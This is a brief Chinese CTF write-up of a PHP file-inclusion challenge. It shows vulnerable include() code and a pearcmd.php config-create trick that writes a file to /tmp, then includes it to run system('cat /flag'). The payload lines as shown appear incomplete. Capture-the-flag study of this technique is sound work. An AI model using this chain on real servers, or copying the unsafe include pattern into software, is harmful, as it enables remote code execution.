Check_register_argc_argv
<?php
error_reporting(0);
if(isset($_GET['file'])) {
$file = $_GET['file'];
if(preg_match('/flag|log|session|filter|input|data/i', $file)) {
die('hacker!');
}
include($file.".php");
# Something in phpinfo.php!
}
else {
highlight_file(__FILE__);
}
?>
查看是文件包含提示我们去看一下phpinfo.php
看了一下发现flag是假的
但是假的flag里有一段话“Check_register_argc_argv”
当开启Check_register_argc_argv 后,可使用 /usr/local/lib/php/pearcmd.php 进行向指定文件写入指定内容
?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/+/tmp/cmd.php
后包含/tmp/cmd.php (?file=/tmp/cmd.php) 后post cc=system('cat /flag');即可命令执行
所以我们试一下:
/?+config-create+/&file=/usr/local/lib/php/pearcmd&/+/tmp/mochu7.php
然后包含/tmp/mochu7.php
得到flag